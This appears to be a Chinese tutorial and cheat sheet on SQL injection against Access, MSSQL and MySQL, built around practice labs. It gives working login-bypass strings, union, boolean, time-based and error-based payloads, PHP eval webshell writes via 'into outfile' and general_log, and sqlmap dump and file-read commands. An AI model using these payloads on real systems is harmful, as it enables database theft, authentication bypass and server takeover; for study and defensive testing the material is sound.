目录

  • 基础
    • sql语法基础
    • 注释
    • sql注入漏洞产生的条件
  • sql注入的分类
    • 基于从服务器收到的响应
    • 基于数据库种类
    • 基于如何处理输入的SQL查询(数据类型)
    • 参数位置
    • 注入方法
    • 注入流程
  • 万能密码
  • ACCESS注入流程
    • 判断
    • 方法
    • 注入实战
  • MSSQL注入流程
    • 默认数据库
    • 函数
    • 注入过程
  • MySql注入(重头戏)
    • mysql系统数据库
    • 通用操作手册(☆)
    • cookie注入
    • 宽字节注入
    • 基于布尔的注入
    • 基于时间注入
    • 基于报错注入
  • 其他注入方式
    • 读文件
    • 写文件
    • 二次注入
  • sqlmap实战操作

基础

sql语法基础

查看有哪些库:show databases;
• 选择一个库:use 库名;
• 查看选中的库下有哪些表:show tables;
• 增加一张表:

Create table user( 
Id int primary key auto_increment, 
username char(4) not null, 
password char(4) not null
); 

• 删除表:drop table user;
•增加一条数据:insert into table (id,username,password) values ('1','admin','123456') ;
• 删除一条数据:Delete from user where id=1;
• 更改一条数据:Update user set id='2',username='test' where id=1;
• 查询一条数据:select password from user where id=1;
• Order by:排序 升序:asc(默认升序) 降序:desc
Limit:限制
Limt 数值:只查询(数值)条记录
Limit 数值1,数值2:数值1代表起始位置,数值2代表限制的长度
例:select * from user order by id asc;
例:select * from user order by id asc limit 2;
• UNION联合查询:
SELECT password FROM user UNION SELECT password FROM user2; OR
SELECT 1,2,3,4 UNION SELECT password FROM user2; .

注释

•MySQL/Oracle注释:

  • 单行注释,#后面直接加内容
  • 单行注释,--后面必须要加一个空格(或者任意一个字符)
  • 多行注释,/*注释内容,中间可以换行*/

• Access没有专门的注释符,但可以使用空字符"NULL"(%00)代替
concat(str1,str2…)函数,直接连接
group_concat(str1,str2…)函数,使用都好做分隔符
concat_ws(sep,str1,str2…)函数,使用第一个参数作为分隔符
例:

sql注入漏洞产生的条件

1. 参数可控
2. 输入的数据可带入数据库

sql注入的分类

基于从服务器收到的响应

  • 基于错误的注入
  • 联合查询类型:网页有数据的回响位置
  • 堆查询类型
  • SQL盲注
    • 基于布尔的SQL盲注:页面没有数据显示
    • 基于时间的SQL盲注
    • 基于报错的SQL盲注:页面有报错信息显示
    • 延时注入:页面显示结果固定,通过页面加载的时间判断注入语句是否成功

基于数据库种类

  • ACCESS注入
  • MYSQL注入
  • MSSQL注入
  • ORACLE注入
  • SQLITE注入
  • NOSQL注入

基于如何处理输入的SQL查询(数据类型)

  • 基于字符串
  • 数字或整数为基础的
  • 基于搜索型

参数位置

  • get 提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx/news.php?id=1 , id 是注入点。
  • post 使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
  • cookie HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
  • http头部 注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

注入方法

  1. 联合注入
    使用条件:网页有数据的回显
  2. 布尔盲注
    使用条件:网页没有数据的显示
  3. 报错注入
    使用注入:网页有报错信息的显示
    echo mysql_error()
  4. 延时注入
    使用条件:网页显示结果固定,需要通过页面加载的时间判断注入语句否成功

注入流程

  1. 判断数据库类型
  2. 注入条件判断(闭合字符)
    http://1.1.1.1/index.php?id=1’ and 1=1#(and 1=2#)
  3. 判断字段数量
    http://1.1.1.1/index.php?id=1’ order by 20
    $sql = select * from users where id=?
  4. 判断数据回显位置
    $sql = select id,username,password from users where id=? union sql2
  5. 判断数据库名称
  6. 判断当前网页连接的数据库中的表名称
  7. 判断当前网页连接的数据库中的表的字段的名称
  8. 获取数据

万能密码

例如:
后端sql语句为:$sql="select * from member where username='&user' and passwd='&pwd'"
那么可以用到的万能密码有:

▪ admin' --
▪ admin' # 
▪ admin'/* 
▪ ' or 1=1--
▪ ' or 1=1# 
▪ ' or 1=1/*') or '1'='1--') or ('1'='1--

ACCESS注入流程

判断

判断数据库为ACCESS或者MSSQL-82-access

  • and (select count(*) from msysobjects)>0 返回权限不足为access数据库 §
  • and (select count(*) from MSysAccessObjects)>0 返回正确为access数据库 §
  • and (select count(*) from sysobjects)>0 返回正常则为MSSQL数据库

方法

ACCESS只有一个数据库,直接猜解表名

方法一:联合查询法(兼容性差)
1.判断注入and 1=1and 1=2
2.确定列名的数目:order by
3.猜解表名:union select 1,2,3,… from &表名&
4.猜解列名:union select 1,2,&列名1&,4,5,&列名2&,7… from &表名& (id=-1 or and 1=2)
5.爆出数据

方法二:逐字猜解法(兼容性好)
1.判断注入
2.查询表名:and exists(select * from admin)
3.查询列名:and exists(select admin from admin)
4.先确定长度,再猜解数据:len()asc(mid(XX,1,1))
(ASCII:a-97 A-65)

注入实战

——>>传送门

MSSQL注入流程

默认数据库

函数

1.查看当前数据库:select db_name();
2.产看数据库版本:select @@version;

注入过程

1.爆库(依次添加每次爆出的数据就可以报错所有数据库)

SELECT name FROM master.sys.databases;
SELECT top 1 Name FROM Master..SysDatabases where name not in ('master');

2.爆字段(依次添加每次爆出的数据就可以报错所有字段)

select COLUMN_NAME from data_hbsmxx.information_schema.columns where TABLE_NAME='admin_manage'; 
select top 1 COLUMN_NAME from data_hbsmxx.information_schema.columns where TABLE_NAME='admin_manage' and column_name not in ('admin');

3.爆字段内容(依次添加每次爆出的数据就可以报错所有字段内容)

select admin,psw from data_hbsmxx.dbo.admin_manage; 
select top 1 admin,psw from data_hbsmxx.dbo.admin_manage where admin not in ('admin');

MySql注入(重头戏)

mysql系统数据库

通用操作手册(☆)

  1. 给id:Less-2/?id=1
  2. 判断是否可注入:and 1=2
  3. order by 测数表长:order by 3
  4. union拼接并显示虚拟表
  5. 用database()函数产看所在数据库名称,得到数据库名为:security
  6. 通过查看tables表中table_name字段得到所在所在表名(这里及以下都用到group_concat()函数):group_concat(table_name) from information_schema.tables where table_schema='security'
  7. 通过查看columns表中的column_name字段得到所在字段:group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
  8. 到此我们得到数据库名:security、表名:users、字段名:id,username,password,所以我们可直接查字段内容:group_concat(id,username,password) from security.users


    (参考——>传送门)

cookie注入

原理
有些网站通常会对GET及POST参数进行过滤,而忽略对COOKIE的过滤,事实 上,对COOKIE的过滤和拦截可能会导致正常用户使用上的麻烦,COOKIE是 http头的一个重要字段,是某些网站为了辨别用户身份、进行session跟踪而储 存在用户本地终端上的一段数据。COOKIE中携带的参数存在注入的称为 COOKIE注入。

抓包在cookie字段注入即可,详情——>传送门

宽字节注入

原理

  • PHP的配置文件有一个被称为魔术引号的配置选项magic_quote_gpc,当magic_quote_gpc=on的时候,这相当于PHP中使用了addslshes()函数,这个函数的功能是将单引号、双引号,反斜杠等进行转义,也就是将这些字符 前加一个反斜杠,那么当遇到字符型的注入点时就会因为无法引入单引号进行闭合,导致sql语句不能正确执行。
  • 当网站采用GBK、EUC-KR、SJIS等宽字节字符集编码时,由于PHP转义字符 时采用单字节编码,而web传递给MYSQL时采用了多字节编码,这时就引发 了多字节编码漏洞。
  • 当加入单引号时,经过php的转义函数会变成\’,反斜杠的16进制编码是5c, 而mysql是按照多字节编码的,此时引入%df5c组合被解释成一个汉字 “”,从而相当于起到转义作用的\被“吃”掉了,而单引号又恢复了它的 作用,从而达到绕过的效果。
    详情——>传送门

基于布尔的注入

原理:基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True和False
常用函数

  • mid(column_name,start,length):截取字符串一部分
  • substr(string,start,length):与substring()一样,均为截取字符串
  • left(string,length):得到字符串左部指定个数的字符
  • ord()/ascii();字符转ASCII码值
ascii(mid(select group_concat(table_name) from information_schema.tables where table_schema=database(),1,1))>=101%23

( ASCII:
A→65,B→66,C→67,D→68,E→69,
F→70,G→71,H→72,I→73,J→74,
K→75,L→76,M→77,N→78,O→79,
P→80,Q→81,R→82,S→83,T→84,
U→85,V→86,W→87,X→88,Y→89,Z→90
a→97,b→98,c→99,d→100,e→101,
f→102,g→103,h→104,i→105,j→106,
k→107,l→108,m→109,n→110,o→111,
p→112,q→113,r→114,s→115,t→116,
u→117,v→118,w→119,x→120,y→121,z→122)

基于时间注入

用到函数

  • if(条件,ture,false)
  • sleep(秒)
  • benchmark(50000000,md5(123)):测试某些特定操作的执行速度,耗内存

步骤

  1. 判断数据库名长度
and if(len(database()) > 10,sleep(10),1)
  1. 通过ASCII码逐个猜解数据库名
if(ascii(substring(database(),1,1)) >97 ,sleep(10),1)%23
  1. …….

(剩下的和布尔注入一样,根据页面回响信息试出表名、字段名和字段内容)

+:如果想要试具体某个表的某个字段,可以用limit()函数,注意limit函数参数一从0开始
例一:查询第3个表的第3个字符

and if(ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 2,1),3,1)) > 100 ,sleep(10),1)%23

例二:查询第2个表的第3列字段的第4个字符

and if(ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name='referers'  limit 2,1),4,1))>96,sleep(5),1) %23

基于报错注入

  • 原理
    mysql_error() 函数返回上一个 MySQL 操作产生的文本错误信息

  • 常用函数
    updatexml()
    extractvalue()
    floor()
    exp()

  • updatexml(参数1,参数2,参数3)
    第一个代表文件或xml内容,第二个代表要查找的内容,第三个应该是要替换的内容。
    运用到sql注入
    1、查库名:
    and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
    2、查表名:
    and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
    3、查字段名:
    and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),0x7e),1)%23
    4、查字段内容:
    and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)%23

  • extractvalue(参数1,参数2)
    和updatexml()类似,该函数的作用是从目标XML中返回包含所查询值的字符串。可看成updatexml去除参数3 Ø 运用到sql注入:
    1、查库名:
    extractvalue(1,concat(0x7e,(select database()),0x7e))%23
    2、查表名:
    extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))%23
    3、查字段名:
    and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),0x7e))%23
    4、查字段内容:
    and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e))%23

  • floor()
    rand()floor()group bycount(*)
    1、 rand()
    rand() 是一个随机函数,通过一个固定的随机数的种子0之后,可以形成固定的伪随机序列。结果如下图所示:
    2、floor()
    floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是向下取整。

    3、group by
    group by 主要用来对数据进行分组(相同的分为一组)。

    4、 count(*)
    统计相同结构数量,可以和group by结合用
    (我这就都只出现一次)

当执行以下代码时会出现报错:

select count(*),floor(rand(0)*2) x from users group by x;


(详情——>传送门)

  • ->>可利用floor()函数报错原理运用到sql注入当中:
    1、查库名:
    union select 1,count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a%23
    2、查表名:
    union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a%23
    3、查字段名:
    union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a%23
    4、查字段内容:
    union select 1,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a%23

  • exp()
    +:
    exp = exploits = 漏洞利用代码
    poc = proof of concept = 概念证明
    rce = remote command/code execute = 远程命令/代码执行漏洞
    vul = vulnerable、vulnerability = 弱点、脆弱性
    threat = 威胁
    assets = 资产
    risk = 风险
    shellcode = 恶意代码(C、C++、Java、汇编…)
    原理
    1、exp函数中参数超过709就会报错:select exp(709);
    2、当exp里面的函数成功执行就会返回0,~0表示将0按位取反,0按位得到’18446744073709551615’明显于709,将会报错.
    数值类型超出范围爆错:union select(exp(~(select * from(查询语句)a))),2,3(mysql版本<5.5.53)

+:bigint溢出爆错:union select (!(select * from (查询语句)x)-~0),2,3

其他注入方式

读文件

  1. load_file()

    • 条件:mysql secure_file_priv 配置项为空(不是NULL),即对数据读写没有限制
      命令:show variables like "%secure_file_priv%";

      mysql.ini中修改:secure_file_priv=
    • select load_file("/flag");
      例:读取C盘下1.txt文件:
  2. load data infile
    条件同上
    语句读取指定文件内容,并存入数据库
    例:

写文件

  1. select into outfile
    条件
    1、同上
    2、知道web服务器路径:
    @@basedir Mysql存放路径
    @@datadir Mysql数据存放路径

    步骤
    1、写入木马文件(一句话木马)
    select 1,2,'<?php @eval($_POST[123]);?>' into outfile 'C:/phpStudy/WWW/20211205.php'%23
    2、运行木马
    1)浏览器页面

    2)工具
    a.中国菜刀


    b.蚁剑

  2. general log
    1、查看 general log状态(默认关闭):
    show variables like "%general%";

    2、开启general log:
    show variables like "%log_output%"; or set global log_output="FILE";
    3、设置输出文件路径:
    set global general_log_file="C:/phpstudy/www/shell.php";
    show variables like "%general%";
    4、开启 general log:
    set global general_log=on;
    5、写木马:
    select "<?php @eval($_POST[123]);?>";
    6、运行木马同上。

二次注入

  • 原理:
    在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是
    addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入 数据库的时候还是保留了原
    来的数据。
    在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查 询的时候,直接从数据库中取出了脏数据,没有进
    行进一步的检验和处理,这样就会造成 SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据 库中。然后
    在下一次使用中在拼凑的过程中,就形成了二次注入。
  • 二次注入源数据库代码(login_create.php)
$username= mysql_real_escape_string($_POST['username']) ; //①输入新用户名
$pass= mysql_real_escape_string($_POST['password']); //②新用户密码
$re_pass=mysql_real_escape_string($_POST['re_password']); //③确认密码
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")"; //④登陆新用户
$username= $_SESSION["username"]; //⑥修改密码的用户
$curr_pass= mysql_real_escape_string($_POST['current_password']); //旧密码
$pass= mysql_real_escape_string($_POST['password']); //⑧新密码
$re_pass= mysql_real_escape_string($_POST['re_password']); //⑨确认新密码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; //⑩确认进行修改密
码的用户

1、由代码①可以知道,当我们创建用户名为:admin’#时,数据库实际录入的用户名为:admin’#,由此实现“打一次注入”2、接着就可以利用代码⑩的密码修改功能进行二次注入,原理:
$sql = "UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass' ";
可以看到灰色部分实际上被注释掉,也就是说实际修改密码的用户是:admin,这样就实现了二次注入。
可以看到用户admin的密码被修改,这样我们就可以登陆admin用户了

sqlmap实战操作

  • 基础命令

    • -h 展示帮助文档 参数
    • -hh 展示详细帮助文档 参数
    • –version 显示程序的版本号
    • -v 详细级别:0-6(默认为1) -u [url] 后跟域名
  • --current-db --batch 获取数据库名称信息

  • 上图蓝色划线部分为sqlmap缓存路径:C:\Users\三三\AppData\Local\sqlmap,“sqlmap”文件为缓存,我们可以写一个bat脚本方便清理缓存,代码:rd /s/q "C:\Users\三三\AppData\Local\sqlmap"

  • -D [database] --table --batch 获取数据库中表单名称,[database]为所查数据库名称,例如security。

  • -D [database] -T [table] --columns --batch 获取表中字段条目,[table]为查询条目所在表,例如users。

  • -D [database] -T [table] -C [column1],[column2],[column3] --dump --batch 获取字段内容,[column]为字段条目,可同时查询多个,用逗号隔开。(也可以不加-T来查询指定的表,从而显示该数据库所有表的字段内容)

  • POST型

    • 1、用BP抓包,保存内容到.txt文档,放在sqlmap目录下。如post.txt

    • 2、查数据库:
      sqlmap.py -r post.txt --dbs (post.txt如果没有放到sqlmap目录就用绝对路径) -r表示加载一个文件,-p指定参数

    • 3、查表
      sqlmap.py -r post.txt -D security --tables

    • 4、查字段
      sqlmap.py -r post.txt -D security -T users --columns

    • 5、查字段内容
      sqlmap.py -r post.txt n -D security -T users -C “id,username,password” --dump

  • Cookie注入

    • 1、查数据库:
      python sqlmap.py -u "url" --cookie "uname=1" --level 2 --dbs 然后一直”y“下去

    • 2、….接下来前面不变,后面参考post注入

  • tamper绕过

    • 使用方法:
      sqlmap [options] --tamper “模块1,模块2,···”
    • 模块功能:
      详情——>传送门
    • 例如:python sqlmap.py -u "url" --tamper=unmagicquotes --is-dba --batch
  • 文件读取

    • –file-read参数后跟着文件,例如:
      py sqlmap.py -u "url" --data="uname=Dumb&passwd=Dumb&submit=Submit" --current-db --file-read C:/1.txt(读取目标C盘下1.txt文件内容)

    • 此为读取后文件本地存放位置

  • sqlmap操作手册——>传送门

更多推荐

SQL注入教程